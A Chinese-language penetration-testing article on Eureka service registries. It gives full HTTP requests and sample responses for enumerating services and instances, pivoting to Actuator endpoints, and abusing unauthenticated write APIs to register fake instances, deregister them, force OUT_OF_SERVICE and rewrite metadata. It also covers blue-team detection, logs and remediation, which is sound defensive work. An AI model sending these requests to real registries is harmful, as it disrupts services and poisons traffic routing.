Eureka管理面打点与REST接口利用技术

Eureka管理面打点与REST接口利用技术

Eureka 是典型的高价值服务发现控制平面。它并不直接保存业务数据库数据,但它会集中暴露大量微服务运行时画像,包括:

  • 服务名称与实例数量
  • 实例 IP、端口与实例 ID
  • statusPageUrlhealthCheckUrlhomePageUrl
  • vipAddresssecureVipAddress
  • 实例元数据 metadata
  • 心跳、下线、状态覆盖与集群复制状态

对攻击者来说,Eureka 的价值不只是“能看到一个注册中心列表”,而在于它往往是微服务环境里最容易统一回收服务清单、管理接口路径、内网端口、Actuator 暴露情况和环境标签的入口。一旦 Eureka 控制台或 REST API 被公开暴露、Basic Auth 未启用或凭据泄露、网关/Sidecar/CI 节点把 Eureka 地址对外转发,攻击者通常可以在极短时间内建立完整的服务画像,并把打点快速转向:

  • ActuatorSwaggerPrometheus
  • 业务实例的 /info/health
  • 通过 metadata 暴露出的版本、环境、zone 和上下游关系
  • 手工 OUT_OF_SERVICE / metadata 改写 / 注入假实例等更高风险操作

本文聚焦打点与利用侧,重点记录:

  1. 如何识别当前目标是否为 Eureka
  2. 如何围绕应用列表、实例详情、VIP、状态覆盖与 metadata 建立资产画像
  3. 如何从心跳、注册、下线和覆盖状态判断真实风险
  4. 哪些请求与响应最值得完整记录
  5. 蓝队如何从访问日志、Eureka 服务端日志与客户端行为识别这类打点

0. 攻击面概览

0.1 常见路径

首轮至少应枚举:

  • /
  • /eureka/
  • /eureka/apps
  • /eureka/apps/APPID
  • /eureka/apps/APPID/INSTANCEID
  • /eureka/instances/INSTANCEID
  • /eureka/vips/VIP
  • /eureka/svips/SVIP
  • /eureka/apps/delta
  • /eureka/apps/APPID/INSTANCEID/status
  • /eureka/apps/APPID/INSTANCEID/metadata

如果目标是 Spring Cloud Netflix 默认路径,通常会遇到:

  • /eureka/apps
  • /eureka/apps/*

如果是原生 Netflix Eureka 或兼容代理链,有时会看到:

  • /eureka/v2/apps
  • /eureka/v2/apps/*
  • /eureka/v2/instances/*
  • /eureka/v2/vips/*
  • /eureka/v2/svips/*

0.2 内容协商与响应格式

官方 REST 说明明确指出:

  • Accept 可请求 application/jsonapplication/xml
  • Content-Type 在注册时也可使用 JSON/XML

因此在实际打点中至少要验证:

  • 是否返回 JSON
  • 是否默认返回 XML
  • 是否启用了 gzip

0.3 打点收益优先级

按“最快转成真实攻击价值”的顺序,Eureka 的打点收益一般可排为:

  1. 确认是否为 Eureka、是否开放 REST 注册表读取
  2. 枚举所有应用与实例,回收 statusPageUrlhealthCheckUrlmetadata
  3. vipsvip、实例 ID 做横向索引
  4. 判断是否可发心跳、下线、状态覆盖或改写 metadata
  5. 判断是否存在注入假实例或与其它管理面联动的空间

1. 第一轮打点:确认是否为 Eureka

1.1 控制台与首页识别

请求示例

GET / HTTP/1.1
Host: eureka.target.example:8761
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close

典型响应示例

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8

页面中常见特征包括:

  • Eureka
  • Instances currently registered with Eureka
  • DS Replicas
  • Availability Zones

如果直接访问 / 返回的是注册表页面,通常说明:

  • 控制台已对外开放
  • 后续 REST 路径大概率也可直接测试

1.2 /eureka/apps

请求示例

GET /eureka/apps HTTP/1.1
Host: eureka.target.example:8761
Accept: application/json
Connection: close

典型响应示例

{
  "applications": {
    "versions__delta": "3",
    "apps__hashcode": "UP_6_",
    "application": [
      {
        "name": "PAYMENT-API",
        "instance": [
          {
            "instanceId": "10.20.41.27:payment-api:8080",
            "hostName": "10.20.41.27",
            "app": "PAYMENT-API",
            "ipAddr": "10.20.41.27",
            "status": "UP",
            "overriddenStatus": "UNKNOWN",
            "port": {
              "$": 8080,
              "@enabled": "true"
            },
            "homePageUrl": "http://10.20.41.27:8080/",
            "statusPageUrl": "http://10.20.41.27:8080/actuator/info",
            "healthCheckUrl": "http://10.20.41.27:8080/actuator/health",
            "vipAddress": "payment-api",
            "secureVipAddress": "payment-api",
            "metadata": {
              "@class": "java.util.Collections$EmptyMap",
              "management.port": "8080",
              "version": "2.14.7",
              "zone": "az1"
            },
            "lastUpdatedTimestamp": "1760504609135",
            "lastDirtyTimestamp": "1760504566008",
            "actionType": "ADDED"
          }
        ]
      }
    ]
  }
}

这条响应几乎可以直接建立完整的首轮服务画像:

  • 服务名
  • 实例 ID
  • 主机名与 IP
  • 端口
  • 主页、状态页、健康检查页
  • VIP
  • metadata

1.3 XML 兼容面

请求示例

GET /eureka/apps HTTP/1.1
Host: eureka.target.example:8761
Accept: application/xml
Connection: close

典型响应示例

<applications>
  <versions__delta>3</versions__delta>
  <apps__hashcode>UP_6_</apps__hashcode>
  <application>
    <name>PAYMENT-API</name>
    <instance>
      <instanceId>10.20.41.27:payment-api:8080</instanceId>
      <ipAddr>10.20.41.27</ipAddr>
      <statusPageUrl>http://10.20.41.27:8080/actuator/info</statusPageUrl>
      <healthCheckUrl>http://10.20.41.27:8080/actuator/health</healthCheckUrl>
    </instance>
  </application>
</applications>

对于某些代理、中间件或自定义集成,XML 面反而更常见,因此不能只测 JSON。


2. 第二轮打点:应用、实例与索引面

2.1 查询某个应用

请求示例

GET /eureka/apps/PAYMENT-API HTTP/1.1
Host: eureka.target.example:8761
Accept: application/json
Connection: close

典型响应示例

{
  "application": {
    "name": "PAYMENT-API",
    "instance": [
      {
        "instanceId": "10.20.41.27:payment-api:8080",
        "hostName": "10.20.41.27",
        "status": "UP",
        "overriddenStatus": "UNKNOWN",
        "port": {
          "$": 8080,
          "@enabled": "true"
        },
        "homePageUrl": "http://10.20.41.27:8080/",
        "statusPageUrl": "http://10.20.41.27:8080/actuator/info",
        "healthCheckUrl": "http://10.20.41.27:8080/actuator/health",
        "metadata": {
          "version": "2.14.7",
          "management.port": "8080",
          "zone": "az1"
        }
      }
    ]
  }
}

这类请求特别适合在已知高价值服务上做精细化画像,例如:

  • gateway
  • auth-service
  • payment-api
  • config-server

2.2 查询单实例

请求示例

GET /eureka/apps/PAYMENT-API/10.20.41.27:payment-api:8080 HTTP/1.1
Host: eureka.target.example:8761
Accept: application/json
Connection: close

典型响应示例

{
  "instance": {
    "instanceId": "10.20.41.27:payment-api:8080",
    "hostName": "10.20.41.27",
    "app": "PAYMENT-API",
    "ipAddr": "10.20.41.27",
    "status": "UP",
    "overriddenStatus": "UNKNOWN",
    "port": {
      "$": 8080,
      "@enabled": "true"
    },
    "homePageUrl": "http://10.20.41.27:8080/",
    "statusPageUrl": "http://10.20.41.27:8080/actuator/info",
    "healthCheckUrl": "http://10.20.41.27:8080/actuator/health",
    "vipAddress": "payment-api",
    "metadata": {
      "version": "2.14.7",
      "zone": "az1"
    }
  }
}

2.3 通过实例 ID 查询

请求示例

GET /eureka/instances/10.20.41.27:payment-api:8080 HTTP/1.1
Host: eureka.target.example:8761
Accept: application/json
Connection: close

典型响应示例

{
  "instance": {
    "app": "PAYMENT-API",
    "hostName": "10.20.41.27",
    "instanceId": "10.20.41.27:payment-api:8080",
    "statusPageUrl": "http://10.20.41.27:8080/actuator/info",
    "healthCheckUrl": "http://10.20.41.27:8080/actuator/health"
  }
}

这类查询特别适合已知 instanceId 来源于日志、配置文件或控制台页面时做定点回收。

2.4 按 VIP / Secure VIP 查询

请求示例

GET /eureka/vips/payment-api HTTP/1.1
Host: eureka.target.example:8761
Accept: application/json
Connection: close

典型响应示例

{
  "applications": {
    "application": [
      {
        "name": "PAYMENT-API",
        "instance": [
          {
            "instanceId": "10.20.41.27:payment-api:8080",
            "vipAddress": "payment-api"
          }
        ]
      }
    ]
  }
}

请求示例

GET /eureka/svips/payment-api HTTP/1.1
Host: eureka.target.example:8761
Accept: application/json
Connection: close

这类索引面的意义在于:

  • 某些场景无法直接知道应用名,但能从配置中知道 VIP
  • 能快速做横向检索

2.5 Delta 增量注册表

请求示例

GET /eureka/apps/delta HTTP/1.1
Host: eureka.target.example:8761
Accept: application/json
Connection: close

典型响应示例

{
  "applications": {
    "versions__delta": "1",
    "apps__hashcode": "UP_6_",
    "application": [
      {
        "name": "PAYMENT-API",
        "instance": [
          {
            "instanceId": "10.20.41.28:payment-api:8080",
            "actionType": "ADDED",
            "lastUpdatedTimestamp": "1760504659127"
          }
        ]
      }
    ]
  }
}

这类增量接口特别适合判断:

  • 哪些实例刚刚上线
  • 哪些服务频繁变动
  • 当前集群是否处于发布窗口

3. 第三轮打点:metadata、状态页与健康页联动

3.1 statusPageUrlhealthCheckUrl

Spring Cloud Netflix 文档明确说明,Eureka 实例默认会把:

  • statusPageUrl
  • healthCheckUrl

注册到服务发现信息中,并且常见默认值对应:

  • /info
  • /health

而在现代 Spring Boot 环境里,这些地址又经常指向:

  • /actuator/info
  • /actuator/health

因此一旦 Eureka 实例详情可读,Eureka 本身就会变成其它管理面专题的索引器。

3.2 metadata 的真实收益

典型 metadata 响应片段

"metadata": {
  "management.port": "8081",
  "zone": "az1",
  "version": "2.14.7",
  "user.name": "actuator",
  "secure": "false"
}

metadata 的现实收益通常包括:

  • 管理端口
  • zone/region
  • 版本号
  • 自定义标签
  • 上游对接信息

在很多实际环境中,metadata 甚至会被误用来放:

  • 内部标记
  • 调试地址
  • 认证线索

3.3 联动验证示例

第一步:从 Eureka 取状态页

GET /eureka/apps/GATEWAY-SERVICE HTTP/1.1
Host: eureka.target.example:8761
Accept: application/json
Connection: close

典型响应片段

{
  "statusPageUrl": "http://10.20.41.18:9000/actuator/info",
  "healthCheckUrl": "http://10.20.41.18:9000/actuator/health"
}

第二步:直接验证目标管理接口

GET /actuator/info HTTP/1.1
Host: 10.20.41.18:9000
Accept: application/json
Connection: close

这类二跳打点是 Eureka 最实际的利用方式之一。


4. 第四轮打点:心跳、下线与状态覆盖

4.1 心跳请求

官方 REST 说明明确列出,实例会通过 PUT /eureka/apps/{appID}/{instanceID} 发送 heartbeat。

请求示例

PUT /eureka/apps/PAYMENT-API/10.20.41.27:payment-api:8080 HTTP/1.1
Host: eureka.target.example:8761
Connection: close

典型成功响应示例

HTTP/1.1 200 OK

典型失败响应示例

HTTP/1.1 404 Not Found

404 在这里并不只是错误,它往往意味着:

  • 该实例并不存在
  • 客户端接下来可能会发起注册

4.2 注册实例

官方 REST 说明明确指出,实例注册走:

  • POST /eureka/apps/{appID}

请求示例

POST /eureka/apps/PAYMENT-API HTTP/1.1
Host: eureka.target.example:8761
Content-Type: application/json
Accept: application/json
Connection: close

{
  "instance": {
    "hostName": "10.20.41.99",
    "app": "PAYMENT-API",
    "ipAddr": "10.20.41.99",
    "vipAddress": "payment-api",
    "secureVipAddress": "payment-api",
    "status": "UP",
    "port": {
      "$": 8080,
      "@enabled": true
    },
    "securePort": {
      "$": 443,
      "@enabled": false
    },
    "homePageUrl": "http://10.20.41.99:8080/",
    "statusPageUrl": "http://10.20.41.99:8080/actuator/info",
    "healthCheckUrl": "http://10.20.41.99:8080/actuator/health",
    "dataCenterInfo": {
      "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
      "name": "MyOwn"
    }
  }
}

典型成功响应示例

HTTP/1.1 204 No Content

一旦这类请求成功,风险已经不再是“读取注册表”,而是:

  • 注入假实例
  • 污染服务发现
  • 为流量错误路由、测试环境干扰或其它链路攻击做准备

4.3 实例下线

请求示例

DELETE /eureka/apps/PAYMENT-API/10.20.41.27:payment-api:8080 HTTP/1.1
Host: eureka.target.example:8761
Connection: close

典型成功响应示例

HTTP/1.1 200 OK

4.4 手工 OUT_OF_SERVICE

官方 REST 说明明确列出:

  • PUT /eureka/apps/{appID}/{instanceID}/status?value=OUT_OF_SERVICE

请求示例

PUT /eureka/apps/PAYMENT-API/10.20.41.27:payment-api:8080/status?value=OUT_OF_SERVICE HTTP/1.1
Host: eureka.target.example:8761
Connection: close

典型成功响应示例

HTTP/1.1 200 OK

典型后续查询响应片段

{
  "status": "UP",
  "overriddenStatus": "OUT_OF_SERVICE"
}

这类接口的危险之处在于:

  • 表面上实例仍然存活
  • 但发现层会开始拒绝把流量送给它
  • 很适合做业务干扰和灰度误导

4.5 取消状态覆盖

请求示例

DELETE /eureka/apps/PAYMENT-API/10.20.41.27:payment-api:8080/status?value=UP HTTP/1.1
Host: eureka.target.example:8761
Connection: close

典型响应示例

HTTP/1.1 200 OK

4.6 metadata 改写

请求示例

PUT /eureka/apps/PAYMENT-API/10.20.41.27:payment-api:8080/metadata?key=version&value=2.14.8 HTTP/1.1
Host: eureka.target.example:8761
Connection: close

典型响应示例

HTTP/1.1 200 OK

一旦这类请求成功,说明控制权已经延伸到:

  • 服务发现元数据污染
  • 客户端路由或灰度判断干扰

5. 高危错误部署场景

5.1 无鉴权公开注册表

最常见、也最容易被忽视的错误部署就是:

  • 控制台公开
  • /eureka/apps 直接可读
  • 未开启 Basic Auth 或网关认证

这类环境即使没有写权限,也已经足以暴露整个微服务内网画像。

5.2 Basic Auth 在 defaultZone 中明文存在

Spring Cloud Netflix 文档明确说明,Eureka 客户端会自动使用嵌在 defaultZone URL 中的 Basic Auth 凭据,例如:

http://user:password@localhost:8761/eureka

这类设计的现实风险包括:

  • 配置文件明文泄露
  • 命令行参数泄露
  • 容器环境变量泄露
  • statusPageUrl 或其它联动路径已暴露时,可进一步回收配置源

5.3 错误注册的状态页与健康页

Spring Cloud 文档与相关 issue 都说明:

  • Docker / 自定义 management.context-path
  • 自定义端口或非默认 servlet path

可能导致 Eureka 注册的 statusPageUrlhealthCheckUrl 出现:

  • 端口错误
  • 路径重复
  • 内外网地址不一致

从打点角度看,这类“坏配置”同样有价值,因为它会暴露:

  • 内部真实管理路径
  • 宿主机映射关系
  • 容器内外端口差异

5.4 gzip 注册表响应

实际兼容问题中可以看到,某些 Eureka 接口会返回:

  • Content-Encoding: gzip

典型响应头示例

HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: application/json

这对攻击者的意义不在漏洞本身,而在于:

  • 自动化脚本必须处理压缩响应
  • 某些中间件兼容不当时会产生异常日志,可反向帮助蓝队发现枚举行为

6. 蓝队检测与处置

6.1 反向代理与访问日志

应重点识别对以下路径的连续访问:

  • /eureka/apps
  • /eureka/apps/*
  • /eureka/instances/*
  • /eureka/vips/*
  • /eureka/svips/*
  • /eureka/apps/delta
  • /eureka/apps/*/*/status
  • /eureka/apps/*/*/metadata

日志示例

10.10.10.21 - - [16/Jun/2026:02:31:11 +0800] "GET /eureka/apps HTTP/1.1" 200 4241 "-" "python-requests/2.32.3"
10.10.10.21 - - [16/Jun/2026:02:31:14 +0800] "GET /eureka/apps/PAYMENT-API HTTP/1.1" 200 1287 "-" "python-requests/2.32.3"
10.10.10.21 - - [16/Jun/2026:02:31:18 +0800] "PUT /eureka/apps/PAYMENT-API/10.20.41.27:payment-api:8080/status?value=OUT_OF_SERVICE HTTP/1.1" 200 0 "-" "curl/8.7.1"

第三类日志应视为高优先级事件,因为它已经不是普通枚举,而是对注册表状态的主动干预。

6.2 Eureka 服务端日志

Eureka 服务端日志通常会记录:

  • 注册
  • 心跳续约
  • 下线
  • 状态覆盖
  • 注册表同步与复制

日志示例

2026-06-16 02:31:21.418 INFO  PeerAwareInstanceRegistryImpl - Registered instance PAYMENT-API/10.20.41.99:payment-api:8080 with status UP (replication=false)

日志示例

2026-06-16 02:31:25.103 INFO  PeerAwareInstanceRegistryImpl - Cancelled instance PAYMENT-API/10.20.41.27:payment-api:8080 (replication=false)

日志示例

2026-06-16 02:31:28.910 INFO  InstanceResource - Status updated: app=PAYMENT-API, id=10.20.41.27:payment-api:8080, value=OUT_OF_SERVICE

蓝队在调查时最应关注:

  • 是否有非客户端网段直接访问 /eureka/*
  • 是否存在不属于正常服务实例的注册、下线或状态覆盖行为

6.3 客户端行为与异常心跳

Spring Cloud 文档明确说明:

  • 客户端会持续发送 heartbeat
  • 默认注册与发现依赖本地缓存和心跳周期

因此如果在短时间内看到:

  • 某实例突然 404 后跟着重新注册
  • 某服务频繁 ADDED/DELETED
  • apps/delta 中短时间大量变更

就应重点排查:

  • 发布窗口
  • 实例抖动
  • 人工或恶意操作

6.4 处置建议

发现 Eureka 管理面被打点后,应优先做:

  1. 收敛 8761 暴露范围,不向低信任网络直接开放
  2. 为 Eureka 控制台与 /eureka/* 接口启用认证和访问控制
  3. 审核 defaultZone 中是否存在明文凭据并立即轮换
  4. 检查是否已有注册表被批量导出、实例被下线或 metadata 被改写
  5. 检查 statusPageUrlhealthCheckUrl 是否把 Actuator 面暴露给了错误的网络范围
  6. 对高价值服务的实例注册信息做基线核对,排查是否存在假实例注入

长期建议:

  • 不把 Eureka 暴露到公网
  • 把服务发现 REST 仅限制在客户端所在受控网络
  • /eureka/apps/eureka/apps/delta/status/metadata 建独立告警
  • 定期审查实例 metadata 是否混入敏感信息
  • 对联动暴露出的 ActuatorSwaggerhealth/info 接口做二次收敛

7. 复盘清单

7.1 红队侧

  • 是否确认了控制台和 /eureka/apps 是否可读
  • 是否完成了应用、实例、VIP 与 Delta 的整体画像
  • 是否提取了 statusPageUrlhealthCheckUrlmetadata
  • 是否验证了注册、下线、状态覆盖与 metadata 改写边界
  • 是否确认了 Basic Auth、错误管理路径与压缩响应的真实行为

7.2 蓝队侧

  • 是否能识别从 /eureka/apps -> /eureka/apps/{APP} -> /eureka/instances/{ID} 的连续访问链
  • 是否能识别人工或恶意触发的 OUT_OF_SERVICEDELETE 和 metadata 改写
  • 是否掌握了哪些实例注册信息会暴露下游管理面
  • 是否掌握了所有通过 defaultZone 嵌入凭据的客户端配置

7.3 应急侧

  • 是否确认是否已有注册表被批量导出
  • 是否确认是否已有实例被恶意下线、覆盖状态或伪造注册
  • 是否完成 Eureka 凭据、下游管理端口与高风险 metadata 的轮换或收敛
  • 是否完成对联动暴露的 Actuatorinfohealth 面的排查

8. 总结

Eureka 的真正风险,不只是“一个服务注册中心对外开放”,而在于它会把:

  • 服务清单
  • 实例地址
  • 健康页
  • 状态页
  • metadata
  • 状态覆盖
  • 复制与增量变更

统一暴露给同一套控制台与 REST 接口。

对打点来说,更值得沉淀的方法学是:

  • 先确认控制台与 /eureka/apps 是否开放
  • 再建立应用、实例、VIP 与 Delta 画像
  • 再集中提取 statusPageUrlhealthCheckUrlmetadata
  • 最后判断注册、下线、状态覆盖与 metadata 改写是否可行

只有把这些面串起来,才能把“Eureka 暴露”真正转化成结构化攻击价值判断。


参考资料